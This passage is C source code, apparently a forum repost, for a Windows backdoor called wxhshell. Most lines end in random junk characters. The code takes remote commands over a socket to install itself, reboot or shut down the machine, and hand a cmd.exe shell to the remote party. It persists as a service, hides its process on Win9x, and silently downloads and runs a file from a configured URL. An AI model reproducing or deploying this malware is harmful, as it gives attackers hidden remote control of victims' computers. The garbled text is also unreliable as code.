  else { N9QHX  
|re)]%A?Fu  
    switch(cmd[0]) { 0Mpc#:a%1  
  -7,xjn  
  // 帮助 ;)].Dj9  
  case '?': { &o%IKB@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); d#xi_L!  
    break; UfIH!6Q  
  } d|#sgGM<8  
  // 安装 6..G/,TB  
  case 'i': { i,|2F9YH  
    if(Install()) 1(t{)Z<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %ub\+~  
    else 3}*)EC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8WU_d`DF  
    break; ]yI~S(  
    } $fZVh%  
  // 卸载 'b(V8x  
  case 'r': { 4+46z|  
    if(Uninstall()) U0>Uqk",  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1 ? be  
    else $bSnbU <  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x[L/d"Wf  
    break; L-SWs8  
    } |hGi8  
  // 显示 wxhshell 所在路径 "A?&`}%  
  case 'p': { )~@iM.}S2  
    char svExeFile[MAX_PATH]; tA;#yM;  
    strcpy(svExeFile,"\n\r"); %49 ^S&  
      strcat(svExeFile,ExeFile); gLp7<gx6  
        send(wsh,svExeFile,strlen(svExeFile),0); $7\Al$W\  
    break; )/uu~9SFd  
    } ~d5f]6#`  
  // 重启 j !m42  
  case 'b': { hHXTSk2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fu 0]BdM  
    if(Boot(REBOOT)) 6IRzm6d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P:Nj;Cxh  
    else {  3"B$M  
    closesocket(wsh); Xh'_Vx{.j`  
    ExitThread(0); s,~)5nL  
    } M$L ; -T  
    break; 0=g~ozEW&  
    } v fnVN@ 5  
  // 关机 WBOebv  
  case 'd': { t^ax:6;"|  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); UB5X2uBv  
    if(Boot(SHUTDOWN)) Dq$co1eT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g+ZQ6Hz  
    else { b Ag>;e(  
    closesocket(wsh); \9FWH}|  
    ExitThread(0); w]-,X`  
    } HzuB.B<  
    break; L"Vi:zdp  
    } (bT3 r_  
  // 获取shell T~Z7kc'  
  case 's': { 2p6`@8*34  
    CmdShell(wsh); T][r'jWQ  
    closesocket(wsh); E 0k1yA  
    ExitThread(0); estDW1i)  
    break; vH`m W`=  
  } 6<%W 8m\  
  // 退出 +xGz~~iNh  
  case 'x': { wfE%` 1  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4pkTOQq_tQ  
    CloseIt(wsh); \@%sX24D  
    break; !X 8<;e}2  
    } 4R8W ot  
  // 离开 OvFWX%uY  
  case 'q': { c <T'_93  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); "@h 5 SF  
    closesocket(wsh); 9[L@*7A`m  
    WSACleanup(); N=?! ~n9Q-  
    exit(1); fxR}a,a  
    break; BAQ;.N4  
        } `;'fCO!  
  } T@. $Zpz  
  } QqS?-   
c[a1 Md&  
  // 提示信息 lMcSe8LBQa  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dq~PxcnI  
} :zL.dJwa  
  } *`(/wE2v]  
pPezy:  
  return; wd=xs7Dz<p  
} p| #gn<z}  
|>Xw"]b;  
// shell模块句柄 C}~/(;1V=  
int CmdShell(SOCKET sock) %5zztReI  
{ wn$:L9"YN  
STARTUPINFO si; FyZiiH4|  
ZeroMemory(&si,sizeof(si)); Ya_4[vR<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1f.xZgO/2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; I8 <s4q  
PROCESS_INFORMATION ProcessInfo; bhFAt1h  
char cmdline[]="cmd"; V r0-/T  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); jJ' LM>e  
  return 0; CwV1~@{-  
} !Qg%d&q.Sx  
HxVQeyOR  
// 自身启动模式 -}ebn*7i\  
int StartFromService(void) YS_9M Pi  
{ ,8F?v~C  
typedef struct jaoGm$o>"F  
{ 3x 9O(;k  
  DWORD ExitStatus; 0shNwV1zF  
  DWORD PebBaseAddress; wmNc)P4  
  DWORD AffinityMask; h=3156M  
  DWORD BasePriority; p,?8s%  
  ULONG UniqueProcessId; ;'Pi(TA)  
  ULONG InheritedFromUniqueProcessId; Y=gj{]4  
}   PROCESS_BASIC_INFORMATION; qdn\8Pn  
RfT#kh/5  
PROCNTQSIP NtQueryInformationProcess; *5i~N}  
PAe2 hJ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ZOFBT(oV  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @"~Mglgw  
^"w.v' sL  
  HANDLE             hProcess; ^}2 ie|  
  PROCESS_BASIC_INFORMATION pbi; /HNZwbh]uJ  
cLQvzd:h=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ksxacRA7\  
  if(NULL == hInst ) return 0; ;3n0 bKDY  
,i2%FW  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); c;w~-7Q*|  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Av*R(d=`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Xu1l6jr_  
?lxI& h  
  if (!NtQueryInformationProcess) return 0; sz.(_{5!  
i3.8m=>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IbpE@C  
  if(!hProcess) return 0; qYFol# =%  
Z6&s 6MF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tUq* -9 V  
`4cs.ab  
  CloseHandle(hProcess); r*/Pyh  
laM0W5  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r^P}xGGK  
if(hProcess==NULL) return 0; do{#y*B/g!  
H ^Xw<Z=  
HMODULE hMod; .2hQ!)+  
char procName[255]; VEd#LSh  
unsigned long cbNeeded; [;VNuF  
oKTIoTb  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [pbX_  
1vu4}%nD  
  CloseHandle(hProcess); xIF z@9+k  
gFJ& t^yL  
if(strstr(procName,"services")) return 1; // 以服务启动 >b-rAO\{}  
?9i7+Y"  
  return 0; // 注册表启动 d@"eWvnlZ  
} f? F i{m  
b]s=Uv#)  
// 主模块 "zw?AC6  
int StartWxhshell(LPSTR lpCmdLine) g\ @nA4  
{ 0|{U"\  
  SOCKET wsl; "yc/8{U  
BOOL val=TRUE; ##u+[ !  
  int port=0; 5v~Y>  
  struct sockaddr_in door; ^lu)'z%6  
(k M\R|  
  if(wscfg.ws_autoins) Install(); ok'0Byo  
!{s $V2_  
port=atoi(lpCmdLine); e=Kv[R'(M  
;0xCrE{l"  
if(port<=0) port=wscfg.ws_port; `Dh%c%j)  
8Mg4y1)RU  
  WSADATA data; *^c4q|G.-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; VR_+/,~  
1elcP`N1  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2>fG}qYy$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Oe$cM=Yf  
  door.sin_family = AF_INET; uA!T@>vl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); U3kf$nbV/J  
  door.sin_port = htons(port); (L|SE4  
FPMhHHM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7!oqn'#>A  
closesocket(wsl); <l wI|<  
return 1; Ffj:xZ9rk  
} 0 nWV1)Q0=  
UUb!2sO  
  if(listen(wsl,2) == INVALID_SOCKET) { _gC<%6#V`r  
closesocket(wsl); b daZ{5^{  
return 1; |,dMF2ADc  
} -ZQ3^'f:0J  
  Wxhshell(wsl); 5Tu#o ()  
  WSACleanup(); GeHDc[7  
.j}u'!LKul  
return 0; B"KsYB79t  
U%k e 5uwP  
} ;xB"D0~,1  
>j`*-(`2fa  
// 以NT服务方式启动 @z/]!n\~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) j{U-=[$'  
{ 87<y_P@{  
DWORD   status = 0; _hh|/4(  
  DWORD   specificError = 0xfffffff; #mkr]K8A4  
m\Tq0cT$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g+k6pi*  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /WHhwMc!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; !+hX$_RT  
  serviceStatus.dwWin32ExitCode     = 0; uhc0,V;S  
  serviceStatus.dwServiceSpecificExitCode = 0; hLm9"N'Pf  
  serviceStatus.dwCheckPoint       = 0; /$eEj  
  serviceStatus.dwWaitHint       = 0; mu{%%b7|^  
.k*2T<p$rC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2WUBJ-qnuT  
  if (hServiceStatusHandle==0) return; EL}v>sC  
+:'Po.{"  
status = GetLastError(); [qZ4+xF,,  
  if (status!=NO_ERROR) b$$XriD]  
{ }SN'*w@E  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GrQl3 Xi  
    serviceStatus.dwCheckPoint       = 0; 4l$8lYi  
    serviceStatus.dwWaitHint       = 0; HJcZ~5jf  
    serviceStatus.dwWin32ExitCode     = status; so8-e  
    serviceStatus.dwServiceSpecificExitCode = specificError; .ERO*Tj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $Ilr.6';  
    return; Y 4714  
  } ZDDwh&h  
CqX%V":2  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kcOpO<oE  
  serviceStatus.dwCheckPoint       = 0; Aj`4uFhiL  
  serviceStatus.dwWaitHint       = 0; wlpbfO e/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }jk^M|Z"Oz  
} BuvBSLC~  
Bhs`Y/Ls-  
// 处理NT服务事件,比如:启动、停止 Q-au)R,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /Z@.;M  
{ 8/F2V?iT  
switch(fdwControl) }>1E,3A:%G  
{ $U0(%lIU  
case SERVICE_CONTROL_STOP: -qEr-[z  
  serviceStatus.dwWin32ExitCode = 0; % (.PRRI  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y(S0 2v>l  
  serviceStatus.dwCheckPoint   = 0; aLq;a  
  serviceStatus.dwWaitHint     = 0; +]e4c;`ko}  
  { 'H9~rq7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5;Z~+$1  
  } $_ i41f[  
  return; .iYgRW=T  
case SERVICE_CONTROL_PAUSE: n$?oZ *;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; JQ1VCG  
  break; 0x & ^{P~  
case SERVICE_CONTROL_CONTINUE: "D/ fB%h`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ie ,{C  
  break; k^]~NP  
case SERVICE_CONTROL_INTERROGATE: B>mQ\Q  
  break; ,-"]IR!,w  
}; 5a~1RL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p~b$+8#+  
} 3OZ}&[3  
5jLDe~  
// 标准应用程序主函数 xVe!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \[&]kPcDl  
{ "osYw\unI  
&Xav$6+Z1J  
// 获取操作系统版本 A^7!+1*K+  
OsIsNt=GetOsVer(); 5e LPn  
GetModuleFileName(NULL,ExeFile,MAX_PATH); DIRCP=5  
@e7+d@ O<  
  // 从命令行安装 FdqUv% (Em  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6\K)\  
neBkwXF!  
  // 下载执行文件 ?xet:#R'  
if(wscfg.ws_downexe) { pDLo`F}A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3:( `#YY  
  WinExec(wscfg.ws_filenam,SW_HIDE); z)B=<4r  
} ZZ(@:F  
;gyE5n-{  
if(!OsIsNt) { GM/1u fZH  
// 如果时win9x,隐藏进程并且设置为注册表启动 |3L MVN  
HideProc(); Cw}\t!*!  
StartWxhshell(lpCmdLine); 7,zARWB!?  
} ZS+2.)A  
else vn<S"  
  if(StartFromService()) +9X[gef8  
  // 以服务方式启动 LcXMOT)s  
  StartServiceCtrlDispatcher(DispatchTable); Kf4z*5Veqr  
else ?zEF?LJoK  
  // 普通方式启动 f+V':qz  
  StartWxhshell(lpCmdLine); 1|VJND  
~-+Zu<  
return 0; x _K%  
}
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只看该作者 1 发表于: 2006-10-10
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